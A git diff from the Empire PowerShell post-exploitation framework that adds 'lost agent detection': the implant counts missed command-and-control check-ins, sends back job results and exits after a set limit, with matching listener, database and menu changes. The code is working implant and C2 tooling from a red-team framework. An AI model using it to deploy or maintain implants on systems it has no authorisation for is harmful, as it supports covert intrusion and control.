Merge branch 'LostAgentDetection'
commit
671635a5da
|
@ -3,6 +3,7 @@
|
||||||
-Fixed tab completion of usestager module
|
-Fixed tab completion of usestager module
|
||||||
-Added dependencies for Ubuntu 14.04
|
-Added dependencies for Ubuntu 14.04
|
||||||
-Fixed IP Whitelisting set from file
|
-Fixed IP Whitelisting set from file
|
||||||
|
-Added "Lost Agent Detection". Allows the ability for an agent to die after a certain number of missed checkins. This is implemented via the "lostlimit" command. Default set to 60 missed checkins.
|
||||||
|
|
||||||
8/9/2015
|
8/9/2015
|
||||||
----------
|
----------
|
||||||
|
|
|
@ -32,6 +32,12 @@ function Invoke-Empire {
|
||||||
|
|
||||||
.PARAMETER Epoch
|
.PARAMETER Epoch
|
||||||
server epoch time, defaults to client time
|
server epoch time, defaults to client time
|
||||||
|
|
||||||
|
.PARAMETER LostLimit
|
||||||
|
The limit of the number of checkins the agent will miss before exiting
|
||||||
|
|
||||||
|
.PARAMETER DefaultPage
|
||||||
|
The default page string Base64 encoded
|
||||||
#>
|
#>
|
||||||
|
|
||||||
param(
|
param(
|
||||||
|
@ -65,7 +71,13 @@ function Invoke-Empire {
|
||||||
$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
|
$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
|
||||||
|
|
||||||
[Int32]
|
[Int32]
|
||||||
$Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s")))
|
$Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s"))),
|
||||||
|
|
||||||
|
[Int32]
|
||||||
|
$LostLimit = 60,
|
||||||
|
|
||||||
|
[String]
|
||||||
|
$DefaultPage = ""
|
||||||
)
|
)
|
||||||
|
|
||||||
############################################################
|
############################################################
|
||||||
|
@ -74,6 +86,9 @@ function Invoke-Empire {
|
||||||
|
|
||||||
$script:AgentDelay = $AgentDelay
|
$script:AgentDelay = $AgentDelay
|
||||||
$script:AgentJitter = $AgentJitter
|
$script:AgentJitter = $AgentJitter
|
||||||
|
$script:LostLimit = $LostLimit
|
||||||
|
$script:MissedCheckins = 0
|
||||||
|
$script:DefaultPage = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultPage))
|
||||||
|
|
||||||
$encoding = [System.Text.Encoding]::ASCII
|
$encoding = [System.Text.Encoding]::ASCII
|
||||||
|
|
||||||
|
@ -151,6 +166,22 @@ function Invoke-Empire {
|
||||||
"agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter"
|
"agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function Set-LostLimit {
|
||||||
|
param([int]$l)
|
||||||
|
$script:LostLimit = $l
|
||||||
|
if($l -eq 0)
|
||||||
|
{
|
||||||
|
"agent set to never die based on checkin Limit"
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
"agent LostLimit set to $script:LostLimit"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
function Get-LostLimit {
|
||||||
|
"agent LostLimit: $script:LostLimit"
|
||||||
|
}
|
||||||
|
|
||||||
# set the killdate for the agent
|
# set the killdate for the agent
|
||||||
function Set-Killdate {
|
function Set-Killdate {
|
||||||
param([string]$date)
|
param([string]$date)
|
||||||
|
@ -882,7 +913,8 @@ function Invoke-Empire {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch [Net.WebException] {
|
catch [Net.WebException] {
|
||||||
# handle 403? for key-negotiation?
|
$script:MissedCheckins+=1
|
||||||
|
|
||||||
# handle host not found/reachable?
|
# handle host not found/reachable?
|
||||||
# if($_.Exception -match "(403)"){
|
# if($_.Exception -match "(403)"){
|
||||||
# Write-Host "403!!"
|
# Write-Host "403!!"
|
||||||
|
@ -929,6 +961,34 @@ function Invoke-Empire {
|
||||||
|
|
||||||
exit
|
exit
|
||||||
}
|
}
|
||||||
|
if((!($script:LostLimit -eq 0)) -and ($script:MissedCheckins -gt $script:LostLimit))
|
||||||
|
{
|
||||||
|
|
||||||
|
# get any job results and kill the jobs
|
||||||
|
$packets = $null
|
||||||
|
Get-Job -name ($JobNameBase + "*") | %{
|
||||||
|
# $data = Receive-Job $_ | Select-Object -Property * -ExcludeProperty RunspaceID | fl | Out-String
|
||||||
|
# $data = Receive-Job $_ | fl | Out-String
|
||||||
|
$data = Receive-Job $_
|
||||||
|
|
||||||
|
if ($data -is [system.array]){
|
||||||
|
$data = $data -join ""
|
||||||
|
}
|
||||||
|
$data = $data | fl | Out-String
|
||||||
|
|
||||||
|
if($data){
|
||||||
|
$packets += $(Encode-Packet -type 110 -data $($data))
|
||||||
|
}
|
||||||
|
Stop-Job $_
|
||||||
|
Remove-Job $_
|
||||||
|
}
|
||||||
|
|
||||||
|
# send an exit status message and die
|
||||||
|
$msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached"
|
||||||
|
Send-Message $(Encode-Packet -type 2 -data $msg)
|
||||||
|
|
||||||
|
exit
|
||||||
|
}
|
||||||
|
|
||||||
if($Servers[$ServerIndex].StartsWith("http")){
|
if($Servers[$ServerIndex].StartsWith("http")){
|
||||||
|
|
||||||
|
@ -989,21 +1049,32 @@ function Invoke-Empire {
|
||||||
# get the next task from the server
|
# get the next task from the server
|
||||||
$data = Get-Task
|
$data = Get-Task
|
||||||
|
|
||||||
# make sure there's a result and it doesn't begin with "<html>" (i.e. the default page)
|
#Check to see if we got data
|
||||||
if ($data -and (-not ([System.Text.Encoding]::UTF8.GetString($data[0..5]) -eq "<html>"))){
|
if ($data) {
|
||||||
# check if an error was received
|
#did we get a default page
|
||||||
if ($data.GetType().Name -eq "ErrorRecord"){
|
if ([System.Text.Encoding]::UTF8.GetString($data) -eq $script:DefaultPage) {
|
||||||
$statusCode = [int]$_.Exception.Response.StatusCode
|
$script:MissedCheckins=0
|
||||||
# TODO: handle error codes appropriately?
|
}
|
||||||
if ($statusCode -eq 0){
|
#we did not get a default, check for erros and process the tasking
|
||||||
# host unreachable... backup server?
|
elseif (-not ([System.Text.Encoding]::UTF8.GetString($data) -eq $script:DefaultPage)) {
|
||||||
}
|
# check if an error was received
|
||||||
|
if ($data.GetType().Name -eq "ErrorRecord"){
|
||||||
|
$statusCode = [int]$_.Exception.Response.StatusCode
|
||||||
|
if ($statusCode -eq 0){
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
# if we get data with no error, process the packet
|
||||||
|
$script:MissedCheckins=0
|
||||||
|
Process-Tasking $data
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
#No data... wierd?
|
||||||
|
|
||||||
}
|
}
|
||||||
# if we get data, process the packet
|
|
||||||
Process-Tasking $data
|
|
||||||
}
|
|
||||||
else{
|
|
||||||
# TODO: do we need to process the error?
|
|
||||||
}
|
}
|
||||||
# force garbage collection to clean up :)
|
# force garbage collection to clean up :)
|
||||||
[GC]::Collect()
|
[GC]::Collect()
|
||||||
|
|
|
@ -98,7 +98,7 @@ class Agents:
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
|
|
||||||
def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours):
|
def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours,lostLimit):
|
||||||
"""
|
"""
|
||||||
Add an agent to the internal cache and database.
|
Add an agent to the internal cache and database.
|
||||||
"""
|
"""
|
||||||
|
@ -128,7 +128,7 @@ class Agents:
|
||||||
userAgent = parts[1]
|
userAgent = parts[1]
|
||||||
additionalHeaders = parts[2]
|
additionalHeaders = parts[2]
|
||||||
|
|
||||||
cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours))
|
cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours,lostLimit))
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
# initialize the tasking/result buffers along with the client session key
|
# initialize the tasking/result buffers along with the client session key
|
||||||
|
@ -1052,7 +1052,7 @@ class Agents:
|
||||||
dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents")
|
dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents")
|
||||||
|
|
||||||
# get the staging information for the given listener, keyed by port
|
# get the staging information for the given listener, keyed by port
|
||||||
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target
|
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,lost_limit
|
||||||
config = self.listeners.get_staging_information(port=port)
|
config = self.listeners.get_staging_information(port=port)
|
||||||
host = config[0]
|
host = config[0]
|
||||||
stagingkey = config[3]
|
stagingkey = config[3]
|
||||||
|
@ -1124,7 +1124,7 @@ class Agents:
|
||||||
|
|
||||||
counter = responsePackets[-1][1]
|
counter = responsePackets[-1][1]
|
||||||
|
|
||||||
# validate the counter in the packet in the set
|
# validate the counter in the packet in the setcode.replace
|
||||||
if counter and packets.validate_counter(counter):
|
if counter and packets.validate_counter(counter):
|
||||||
|
|
||||||
for responsePacket in responsePackets:
|
for responsePacket in responsePackets:
|
||||||
|
@ -1155,7 +1155,7 @@ class Agents:
|
||||||
dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents")
|
dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents")
|
||||||
|
|
||||||
# get the staging key for the given listener, keyed by port
|
# get the staging key for the given listener, keyed by port
|
||||||
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours
|
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit
|
||||||
stagingKey = self.listeners.get_staging_information(port=port)[3]
|
stagingKey = self.listeners.get_staging_information(port=port)[3]
|
||||||
|
|
||||||
# decrypt the agent's public key
|
# decrypt the agent's public key
|
||||||
|
@ -1180,16 +1180,17 @@ class Agents:
|
||||||
epoch = packets.get_counter()
|
epoch = packets.get_counter()
|
||||||
|
|
||||||
# get the staging key for the given listener, keyed by port
|
# get the staging key for the given listener, keyed by port
|
||||||
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours
|
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit
|
||||||
config = self.listeners.get_staging_information(port=port)
|
config = self.listeners.get_staging_information(port=port)
|
||||||
delay = config[4]
|
delay = config[4]
|
||||||
jitter = config[5]
|
jitter = config[5]
|
||||||
profile = config[6]
|
profile = config[6]
|
||||||
killDate = config[7]
|
killDate = config[7]
|
||||||
workingHours = config[8]
|
workingHours = config[8]
|
||||||
|
lostLimit = config[11]
|
||||||
|
|
||||||
# add the agent to the database now that it's "checked in"
|
# add the agent to the database now that it's "checked in"
|
||||||
self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours)
|
self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,lostLimit)
|
||||||
|
|
||||||
# step 4 of negotiation -> return epoch+aes_session_key
|
# step 4 of negotiation -> return epoch+aes_session_key
|
||||||
clientSessionKey = self.get_agent_session_key(sessionID)
|
clientSessionKey = self.get_agent_session_key(sessionID)
|
||||||
|
@ -1218,7 +1219,7 @@ class Agents:
|
||||||
decoded = helpers.decode_base64(parts[1])
|
decoded = helpers.decode_base64(parts[1])
|
||||||
|
|
||||||
# get the staging key for the given listener, keyed by port
|
# get the staging key for the given listener, keyed by port
|
||||||
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours
|
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit
|
||||||
config = self.listeners.get_staging_information(host=decoded)
|
config = self.listeners.get_staging_information(host=decoded)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
@ -1229,6 +1230,7 @@ class Agents:
|
||||||
profile = config[6]
|
profile = config[6]
|
||||||
killDate = config[7]
|
killDate = config[7]
|
||||||
workingHours = config[8]
|
workingHours = config[8]
|
||||||
|
lostLimit = config[11]
|
||||||
|
|
||||||
# get the session key for the agent
|
# get the session key for the agent
|
||||||
sessionKey = self.agents[sessionID][0]
|
sessionKey = self.agents[sessionID][0]
|
||||||
|
@ -1272,7 +1274,7 @@ class Agents:
|
||||||
dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents")
|
dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents")
|
||||||
|
|
||||||
# step 6 of negotiation -> server sends patched agent.ps1
|
# step 6 of negotiation -> server sends patched agent.ps1
|
||||||
agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate, workingHours)
|
agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,lostLimit)
|
||||||
|
|
||||||
username = str(domainname)+"\\"+str(username)
|
username = str(domainname)+"\\"+str(username)
|
||||||
|
|
||||||
|
@ -1289,7 +1291,8 @@ class Agents:
|
||||||
# set basic initial information to display for the agent
|
# set basic initial information to display for the agent
|
||||||
agent = self.mainMenu.agents.get_agent(sessionID)
|
agent = self.mainMenu.agents.get_agent(sessionID)
|
||||||
|
|
||||||
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"]
|
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"]
|
||||||
|
|
||||||
agentInfo = dict(zip(keys, agent))
|
agentInfo = dict(zip(keys, agent))
|
||||||
|
|
||||||
for key in agentInfo:
|
for key in agentInfo:
|
||||||
|
|
|
@ -776,6 +776,45 @@ class AgentsMenu(cmd.Cmd):
|
||||||
else:
|
else:
|
||||||
print helpers.color("[!] Invalid agent name")
|
print helpers.color("[!] Invalid agent name")
|
||||||
|
|
||||||
|
def do_lostlimit(self, line):
|
||||||
|
"Task one or more agents to 'lostlimit [agent/all] <#ofCBs> '"
|
||||||
|
|
||||||
|
parts = line.strip().split(" ")
|
||||||
|
|
||||||
|
if len(parts) == 1:
|
||||||
|
print helpers.color("[!] Please enter a valid '#ofCBs'")
|
||||||
|
|
||||||
|
elif parts[0].lower() == "all":
|
||||||
|
lostLimit = parts[1]
|
||||||
|
agents = self.mainMenu.agents.get_agents()
|
||||||
|
|
||||||
|
for agent in agents:
|
||||||
|
sessionID = agent[1]
|
||||||
|
# update this agent info in the database
|
||||||
|
self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID)
|
||||||
|
# task the agent
|
||||||
|
self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
|
||||||
|
# update the agent log
|
||||||
|
msg = "Tasked agent to change lost limit " + str(lostLimit)
|
||||||
|
self.mainMenu.agents.save_agent_log(sessionID, msg)
|
||||||
|
|
||||||
|
else:
|
||||||
|
# extract the sessionID and clear the agent tasking
|
||||||
|
sessionID = self.mainMenu.agents.get_agent_id(parts[0])
|
||||||
|
|
||||||
|
lostLimit = parts[1]
|
||||||
|
|
||||||
|
if sessionID and len(sessionID) != 0:
|
||||||
|
# update this agent's information in the database
|
||||||
|
self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID)
|
||||||
|
|
||||||
|
self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
|
||||||
|
# update the agent log
|
||||||
|
msg = "Tasked agent to change lost limit " + str(lostLimit)
|
||||||
|
self.mainMenu.agents.save_agent_log(sessionID, msg)
|
||||||
|
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] Invalid agent name")
|
||||||
|
|
||||||
def do_killdate(self, line):
|
def do_killdate(self, line):
|
||||||
"Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)."
|
"Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)."
|
||||||
|
@ -981,6 +1020,10 @@ class AgentsMenu(cmd.Cmd):
|
||||||
|
|
||||||
return self.complete_clear(text, line, begidx, endidx)
|
return self.complete_clear(text, line, begidx, endidx)
|
||||||
|
|
||||||
|
def complete_lostlimit(self, text, line, begidx, endidx):
|
||||||
|
"Tab-complete a lostlimit command"
|
||||||
|
|
||||||
|
return self.complete_clear(text, line, begidx, endidx)
|
||||||
|
|
||||||
def complete_killdate(self, text, line, begidx, endidx):
|
def complete_killdate(self, text, line, begidx, endidx):
|
||||||
"Tab-complete a killdate command"
|
"Tab-complete a killdate command"
|
||||||
|
@ -1185,6 +1228,20 @@ class AgentMenu(cmd.Cmd):
|
||||||
msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
|
msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
|
||||||
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
|
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
|
||||||
|
|
||||||
|
def do_lostlimit(self, line):
|
||||||
|
"Task an agent to change the limit on lost agent detection"
|
||||||
|
|
||||||
|
parts = line.strip().split(" ")
|
||||||
|
if len(parts) > 0 and parts[0] != "":
|
||||||
|
lostLimit = parts[0]
|
||||||
|
|
||||||
|
# update this agent's information in the database
|
||||||
|
self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, self.sessionID)
|
||||||
|
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
|
||||||
|
# update the agent log
|
||||||
|
msg = "Tasked agent to change lost limit " + str(lostLimit)
|
||||||
|
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
|
||||||
|
|
||||||
|
|
||||||
def do_kill(self, line):
|
def do_kill(self, line):
|
||||||
"Task an agent to kill a particular process name or ID."
|
"Task an agent to kill a particular process name or ID."
|
||||||
|
@ -1932,7 +1989,7 @@ class ListenerMenu(cmd.Cmd):
|
||||||
|
|
||||||
elif line.split(" ")[1].lower() == "type":
|
elif line.split(" ")[1].lower() == "type":
|
||||||
# if we're tab-completing the listener type
|
# if we're tab-completing the listener type
|
||||||
listenerTypes = ["native", "pivot", "hop", "foreign"]
|
listenerTypes = ["native", "pivot", "hop", "foreign", "meter"]
|
||||||
endLine = " ".join(line.split(" ")[1:])
|
endLine = " ".join(line.split(" ")[1:])
|
||||||
mline = endLine.partition(' ')[2]
|
mline = endLine.partition(' ')[2]
|
||||||
offs = len(mline) - len(text)
|
offs = len(mline) - len(text)
|
||||||
|
|
|
@ -19,6 +19,7 @@ import encryption
|
||||||
import helpers
|
import helpers
|
||||||
|
|
||||||
|
|
||||||
|
#TODO: place this in a config
|
||||||
def default_page():
|
def default_page():
|
||||||
"""
|
"""
|
||||||
Returns the default page for this server.
|
Returns the default page for this server.
|
||||||
|
|
|
@ -42,7 +42,7 @@ class Listeners:
|
||||||
# set the initial listener config to be the config defaults
|
# set the initial listener config to be the config defaults
|
||||||
self.conn.row_factory = dict_factory
|
self.conn.row_factory = dict_factory
|
||||||
cur = self.conn.cursor()
|
cur = self.conn.cursor()
|
||||||
cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port FROM config")
|
cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port,default_lost_limit FROM config")
|
||||||
defaults = cur.fetchone()
|
defaults = cur.fetchone()
|
||||||
cur.close()
|
cur.close()
|
||||||
self.conn.row_factory = None
|
self.conn.row_factory = None
|
||||||
|
@ -84,6 +84,11 @@ class Listeners:
|
||||||
'Required' : True,
|
'Required' : True,
|
||||||
'Value' : defaults['default_jitter']
|
'Value' : defaults['default_jitter']
|
||||||
},
|
},
|
||||||
|
'DefaultLostLimit' : {
|
||||||
|
'Description' : 'Number of missed checkins before exiting',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : defaults['default_lost_limit']
|
||||||
|
},
|
||||||
'DefaultProfile' : {
|
'DefaultProfile' : {
|
||||||
'Description' : 'Default communication profile for the agent.',
|
'Description' : 'Default communication profile for the agent.',
|
||||||
'Required' : True,
|
'Required' : True,
|
||||||
|
@ -118,7 +123,7 @@ class Listeners:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
cur = self.conn.cursor()
|
cur = self.conn.cursor()
|
||||||
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners")
|
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners")
|
||||||
results = cur.fetchall()
|
results = cur.fetchall()
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
|
@ -126,7 +131,7 @@ class Listeners:
|
||||||
for result in results:
|
for result in results:
|
||||||
|
|
||||||
# don't start the listener unless it's a native one
|
# don't start the listener unless it's a native one
|
||||||
if result[-2] != "native":
|
if result[11] != "native":
|
||||||
self.listeners[result[0]] = None
|
self.listeners[result[0]] = None
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
@ -271,7 +276,7 @@ class Listeners:
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# get the listener information
|
# get the listener information
|
||||||
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.get_listener(listenerId)
|
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.get_listener(listenerId)
|
||||||
|
|
||||||
listenerId = int(ID)
|
listenerId = int(ID)
|
||||||
|
|
||||||
|
@ -305,7 +310,7 @@ class Listeners:
|
||||||
if nameid : listenerId = nameid
|
if nameid : listenerId = nameid
|
||||||
|
|
||||||
cur = self.conn.cursor()
|
cur = self.conn.cursor()
|
||||||
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE id=?", [listenerId])
|
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE id=?", [listenerId])
|
||||||
listener = cur.fetchone()
|
listener = cur.fetchone()
|
||||||
|
|
||||||
cur.close()
|
cur.close()
|
||||||
|
@ -399,20 +404,20 @@ class Listeners:
|
||||||
|
|
||||||
if(listenerId):
|
if(listenerId):
|
||||||
cur = self.conn.cursor()
|
cur = self.conn.cursor()
|
||||||
cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID])
|
cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID])
|
||||||
stagingInformation = cur.fetchone()
|
stagingInformation = cur.fetchone()
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
elif(port):
|
elif(port):
|
||||||
cur = self.conn.cursor()
|
cur = self.conn.cursor()
|
||||||
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE port=?", [port])
|
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE port=?", [port])
|
||||||
stagingInformation = cur.fetchone()
|
stagingInformation = cur.fetchone()
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
# used to get staging info for hop.php relays
|
# used to get staging info for hop.php relays
|
||||||
elif(host):
|
elif(host):
|
||||||
cur = self.conn.cursor()
|
cur = self.conn.cursor()
|
||||||
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE host=?", [host])
|
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE host=?", [host])
|
||||||
stagingInformation = cur.fetchone()
|
stagingInformation = cur.fetchone()
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
|
@ -511,6 +516,7 @@ class Listeners:
|
||||||
workingHours = self.options['WorkingHours']['Value']
|
workingHours = self.options['WorkingHours']['Value']
|
||||||
listenerType = self.options['Type']['Value']
|
listenerType = self.options['Type']['Value']
|
||||||
redirectTarget = self.options['RedirectTarget']['Value']
|
redirectTarget = self.options['RedirectTarget']['Value']
|
||||||
|
defaultLostLimit = self.options['DefaultLostLimit']['Value']
|
||||||
|
|
||||||
# validate all of the options
|
# validate all of the options
|
||||||
if self.validate_listener_options():
|
if self.validate_listener_options():
|
||||||
|
@ -537,7 +543,7 @@ class Listeners:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
cur = self.conn.cursor()
|
cur = self.conn.cursor()
|
||||||
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget] )
|
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultLostLimit] )
|
||||||
|
|
||||||
# get the ID for the listener
|
# get the ID for the listener
|
||||||
cur.execute("SELECT id FROM listeners where name=?", [name])
|
cur.execute("SELECT id FROM listeners where name=?", [name])
|
||||||
|
@ -558,7 +564,7 @@ class Listeners:
|
||||||
|
|
||||||
# add the listener to the database if start up
|
# add the listener to the database if start up
|
||||||
cur = self.conn.cursor()
|
cur = self.conn.cursor()
|
||||||
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget] )
|
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultLostLimit] )
|
||||||
|
|
||||||
# get the ID for the listener
|
# get the ID for the listener
|
||||||
cur.execute("SELECT id FROM listeners where name=?", [name])
|
cur.execute("SELECT id FROM listeners where name=?", [name])
|
||||||
|
@ -593,7 +599,7 @@ class Listeners:
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# get the existing listener options
|
# get the existing listener options
|
||||||
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.get_listener(listenerName)
|
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,defaultLostLimit] = self.get_listener(listenerName)
|
||||||
|
|
||||||
cur = self.conn.cursor()
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
@ -604,7 +610,7 @@ class Listeners:
|
||||||
pivotHost += internalIP + ":" + str(listenPort)
|
pivotHost += internalIP + ":" + str(listenPort)
|
||||||
|
|
||||||
# insert the pivot listener with name=sessionID for the pivot agent
|
# insert the pivot listener with name=sessionID for the pivot agent
|
||||||
cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name] )
|
